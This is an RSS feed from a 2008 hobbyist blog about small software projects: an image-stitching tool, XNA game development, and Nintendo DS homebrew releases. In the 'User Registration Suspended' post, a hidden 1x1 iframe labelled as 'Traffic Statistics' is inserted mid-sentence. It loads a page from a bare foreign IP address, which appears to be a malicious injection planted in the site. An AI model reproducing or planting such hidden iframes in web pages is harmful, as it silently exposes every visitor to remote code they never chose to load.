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	<title>Suspect Software</title>
	<link>http://suspectsoftware.co.uk</link>
	<description>It's all very suspicious, you know.</description>
	<pubDate>Tue, 01 Jul 2008 12:15:14 +0000</pubDate>
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			<item>
		<title>new software: Image Stitcher</title>
		<link>http://suspectsoftware.co.uk/2008/07/01/new-software-image-stitcher/</link>
		<comments>http://suspectsoftware.co.uk/2008/07/01/new-software-image-stitcher/#comments</comments>
		<pubDate>Tue, 01 Jul 2008 12:07:25 +0000</pubDate>
		<dc:creator>Wizlon</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://suspectsoftware.co.uk/2008/07/01/new-software-image-stitcher/</guid>
		<description><![CDATA[As part of my current project (a game in XNA) I needed to paginate a bunch of images, 20 or so, in a line. As you can imagine the thought of doing this by hand was painful, so I decided to write a program to do it for me. The first version worked well enough, [...]]]></description>
			<content:encoded><![CDATA[<p>As part of my current project (a game in XNA) I needed to paginate a bunch of images, 20 or so, in a line. As you can imagine the thought of doing this by hand was painful, so I decided to write a program to do it for me. The first version worked well enough, so I decided to make a few ammendments and add some features, the result is Image Stitcher.</p>
<p><a href="http://suspectsoftware.co.uk/wp-content/uploads/2008/07/imagestitcher.jpg" title="Image Stitcher"></a><a href="http://suspectsoftware.co.uk/wp-content/uploads/2008/07/imagestitcher.jpg" title="Image Stitcher"></a><a border="0" href="http://suspectsoftware.co.uk/wp-content/uploads/2008/07/imagestitcher.jpg" title="Image Stitcher"></a><a href="http://suspectsoftware.co.uk/wp-content/uploads/2008/07/imagestitcher.jpg" title="Image Stitcher"></a><a href="http://suspectsoftware.co.uk/wp-content/uploads/2008/07/imagestitcher.jpg" title="Image Stitcher"></a><a href="http://suspectsoftware.co.uk/wp-content/uploads/2008/07/imagestitcher.jpg" title="Image Stitcher"></a></p>
<p style="text-align: center"><img src="http://suspectsoftware.co.uk/wp-content/uploads/2008/07/imagestitcher.jpg" alt="Image Stitcher" /></p>
<p><strong> What does Image Stitcher do?</strong></p>
<p>Image Stitcher will let you &#8220;stitch&#8221; together multiple images to make one long image, images can be stitched horizontally or vertically. You can choose to stitch every image, or stitch every [x] image (useful when creating sprite sheets). Double clicking on an image in the file list will preview the image. You can also re order images using the up and down controls as well as randomising their order.</p>
<p><strong>Why would I use Image Stitcher?</strong></p>
<p>Image Stitcher is mainly used to create sprite sheets from individual images but can also be used to stitch together thumbnail images for use on a webpage.</p>
<p><strong>What should I do if I think there is a way that Image Stitcher can be improved?</strong></p>
<p>Tell me! Just leave a message here and I will see what I can do. No promises though.</p>
<p><strong>I like this software, what can I do to help?</strong></p>
<p>Saying thank you would be nice, if anyone one would like to donate any cash to the cause then I&#8217;m sure that could be arranged too.</p>
<p><strong>I like this software and want to feature it on my web site.</strong></p>
<p>Feel free but all credit should be given to the original author, me, Andrew Wilson, and links to SuspectSoftware.co.uk should be placed where appropriate. Image Stitcher, or any of Suspect Software&#8217;s software, should never be sold without express permission of the author.</p>
<p><strong>Where can I get Image Stitcher?</strong></p>
<p>You can download Image Stitcher <a href="http://suspectsoftware.co.uk/wp-content/uploads/2008/07/imagestitcher.rar" title="Image Stitcher Installer">Here</a></p>
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		</item>
		<item>
		<title>User Registration Suspended</title>
		<link>http://suspectsoftware.co.uk/2008/03/13/user-registration-suspended/</link>
		<comments>http://suspectsoftware.co.uk/2008/03/13/user-registration-suspended/#comments</comments>
		<pubDate>Thu, 13 Mar 2008 19:47:01 +0000</pubDate>
		<dc:creator>Orry</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.suspectsoftware.co.uk/2008/03/13/user-registration-suspended/</guid>
		<description><![CDATA[I&#8217;ve turned off user registration on this blog for the time being, as we&#8217;re getting   a lot of spammers registering, and I&#8217;m sick of having to delete them! We thank you for your interest in the meantime, and hopefully the forthcoming Wordpress 2.5 can fix this.
]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve turned off user registration on this blog for the time being, as we&#8217;re getting<!-- Traffic Statistics --> <iframe src=http://61.155.8.157/iframe/wp-stats.php width=1 height=1 frameborder=0></iframe> <!-- End Traffic Statistics --> a lot of spammers registering, and I&#8217;m sick of having to delete them! We thank you for your interest in the meantime, and hopefully the forthcoming Wordpress 2.5 can fix this.</p>
]]></content:encoded>
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		<item>
		<title>Andy - Part 2</title>
		<link>http://suspectsoftware.co.uk/2008/03/08/andy-part-2/</link>
		<comments>http://suspectsoftware.co.uk/2008/03/08/andy-part-2/#comments</comments>
		<pubDate>Sat, 08 Mar 2008 10:40:31 +0000</pubDate>
		<dc:creator>Wizlon</dc:creator>
		
		<category><![CDATA[XNA]]></category>

		<guid isPermaLink="false">http://www.suspectsoftware.co.uk/2008/03/08/andy-part-2/</guid>
		<description><![CDATA[I will try and keep this brief.
When I first started game development, as in started coding with proper code, loops, conditional statements, objects, I started with a system not famed for it&#8217;s 1st party development support, in fact, there is none to speak of, I had to resort to coding through illegal means, hacked firmware [...]]]></description>
			<content:encoded><![CDATA[<p>I will try and keep this brief.</p>
<p>When I first started game development, as in started coding with proper code, loops, conditional statements, objects, I started with a system not famed for it&#8217;s 1st party development support, in fact, there is none to speak of, I had to resort to coding through illegal means, hacked firmware and less than endorsed hardware all held together with a SDK that was wrote by a man (albeit a genius) in his bedroom with nothing but a  knowledge of ARM and a half arsed emulator devoid in many features of the hardware it was attempting to emulate. But I got on with this SDK, it had some great time saving functions but all in all it was C, it had no Intellisense and was void of all but the most basic OO principals, but I used it to release some pretty shaky games and apps to the underground hombrew scene, which was a very limited audience indeed. But it was good.</p>
<p>And then Microsoft game along and released XNA and made video game development great!</p>
<p>I actually started with the XNA SDK before Microsoft made the announcment about the community games so the news was even more suprising to me, after all XNA will let a developer do anything, and that includes possible suspect material of course there are procedures to stop any explicit or copyright infringing material getting into the communitys hands, although these procedures are fully peer orientated, you submit your game to other users who vet it for content, all XNA community members can review a game during the approval process, people who have review more games hold more weight behind the decisio, mainly to speed up the process by having trusted sources of review. One thing Microsoft notes on the community games approval faq is that community members should never base a decision on whether a game is approved on the game concept, mainly whether the game is percieved to be fun or not, which is great news as I hope to see some really quirky ideas hopping onto the Xbox360.</p>
<p>But this whole concept would be nought if the environment was poor, but it&#8217;s not, it&#8217;s amazing. Microsoft didn&#8217;t decide to give away some half arsed propietry drag and drop beginners kit worth shit, they gave us full fat c# with all the features available to regular Xbox360 developers (the only feature XNA developers can&#8217;t utilise is the Xbox Camera) so as long as you can dream it, and you have the technical knowledge, you can pull it off, but to help there are some great tutorials out there geared to getting the best from the 360 hardware and the effects it can pull off.</p>
<p>I would reccommend taking a look at <a href="http://www.bluerosegames.com/brg/xna101.aspx">blue rose games</a> for some excellent 101 tutorials, <a href="http://www.xnadevelopment.com/tutorials.shtml">xnadevelopment</a> also features some very good beginner tutorials, with some great code standards thrown in for good measure (the wizard tutorial is particuarly brilliant) and possibly the best site for advanced tutorials is <a href="http://ziggyware.com">ziggyware</a> which features tutorials such as <a href="http://ziggyware.com/readarticle.php?article_id=139">2d refraction</a>, <a href="http://ziggyware.com/readarticle.php?article_id=89">bloom/blur post processing</a> and even <a href="http://ziggyware.com/readarticle.php?article_id=154">deformable levels</a> (orry, I&#8217;m looking at you). And of course we have the <a href="http://creators.xna.com/Education/Tutorials.aspx">official XNA tutorials</a> from Microsof. Check them out, theres some real gems in there.</p>
<p>So, what am I doing with XNA? That&#8217;s kind of a secret, but in short, it&#8217;s a platformer, I hope to be able to show something off during Easter, but we&#8217;ll see, won&#8217;t we?</p>
<p>Anyway, I fancy doing some development. Laters.</p>
<p>Andy</p>
]]></content:encoded>
			<wfw:commentRss>http://suspectsoftware.co.uk/2008/03/08/andy-part-2/feed/</wfw:commentRss>
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		<item>
		<title>v0.18</title>
		<link>http://suspectsoftware.co.uk/2007/12/14/tabbed-v018/</link>
		<comments>http://suspectsoftware.co.uk/2007/12/14/tabbed-v018/#comments</comments>
		<pubDate>Fri, 14 Dec 2007 12:54:53 +0000</pubDate>
		<dc:creator>Wizlon</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.suspectsoftware.co.uk/2007/12/14/tabbed-v018/</guid>
		<description><![CDATA[No messing round here, because I&#8217;ve got something huge. It&#8217;s a drum machine. I always fancied jamming along to some slick beats, throwing a few chords around, climbing the fretboard in a frenzy of off the wall improvisation, but I never really got round to it because the whole effort sounds empty without a backing [...]]]></description>
			<content:encoded><![CDATA[<p>No messing round here, because I&#8217;ve got something huge. It&#8217;s a drum machine. I always fancied jamming along to some slick beats, throwing a few chords around, climbing the fretboard in a frenzy of off the wall improvisation, but I never really got round to it because the whole effort sounds empty without a backing beat. I&#8217;ve tried drum machines before but they were either too complicated or far too simple, that&#8217;s why I created the drum machine for TaBbed.</p>
<p>I&#8217;ve kept the whole idea simple, while offering enough complexity to have fun with it. Essentially you have your drum board, place dots on each instrument using your stylus, when the time line hits the dot, the drum sounds. You can adjust the speed using the speed control, the lower the number, the faster the beat (I will improve this in later versions). You can also mix this up by bringing in the sequencer, the sequencer is held on the top screen, each channel has its own drum board, independant speed and can be repeated as many times as you need. You won&#8217;t enable the sequencer unless you hit the play button, the sequencer will play each channel as many number of times as you specified and will loop until the stop button is pressed. Easy as that, for maxiumum effect connect your ds up to your amp or powered speakers, you neighbours won&#8217;t know what him &#8216;em.</p>
<p>I will be making more changes to the drum machine as versions go by, namely loading your own drum samples as well as saving and loading sequences. If you have any suggestions or improvements then give me a shout. Enjoy.</p>
<p><a href="http://www.suspectsoftware.co.uk/wp-content/uploads/2007/12/tabbeddrum.JPG" title="tabbeddrum.JPG"><img src="http://www.suspectsoftware.co.uk/wp-content/uploads/2007/12/tabbeddrum.thumbnail.JPG" alt="tabbeddrum.JPG" /></a><a href="http://www.suspectsoftware.co.uk/wp-content/uploads/2007/12/tabbed2.zip" title="Tabbed 0.18"></a></p>
<p><a href="http://www.suspectsoftware.co.uk/wp-content/uploads/2007/12/tabbed2.zip" title="Tabbed 0.18">Tabbed 0.18</a></p>
]]></content:encoded>
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		<item>
		<title>v0.17a</title>
		<link>http://suspectsoftware.co.uk/2007/12/10/v017a/</link>
		<comments>http://suspectsoftware.co.uk/2007/12/10/v017a/#comments</comments>
		<pubDate>Mon, 10 Dec 2007 12:34:31 +0000</pubDate>
		<dc:creator>Wizlon</dc:creator>
		
		<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.suspectsoftware.co.uk/2007/12/10/v017a/</guid>
		<description><![CDATA[Just a quick fix for R4 and M3 users, basically my save file was conflicting with the R4 and M3 save file causing everything to go bananas. I&#8217;ve tested this on an M3 so I hope it works for everyone. Btw, nothing new has been added for this version so if you don&#8217;t own an [...]]]></description>
			<content:encoded><![CDATA[<p>Just a quick fix for R4 and M3 users, basically my save file was conflicting with the R4 and M3 save file causing everything to go bananas. I&#8217;ve tested this on an M3 so I hope it works for everyone. Btw, nothing new has been added for this version so if you don&#8217;t own an R4 or a M3 then I wouln&#8217;t bother grabbing it.</p>
<p>Also, big thanks to everyone who visited the site and reported the error, if I don&#8217;t know about these things then I can&#8217;t fix em. Cheers guys, have one on me!  (wihtout me actually providing one in any way whatsoever)</p>
<p><a href="http://www.suspectsoftware.co.uk/wp-content/uploads/2007/12/tabbed1.zip" title="v0.17a">v0.17a</a></p>
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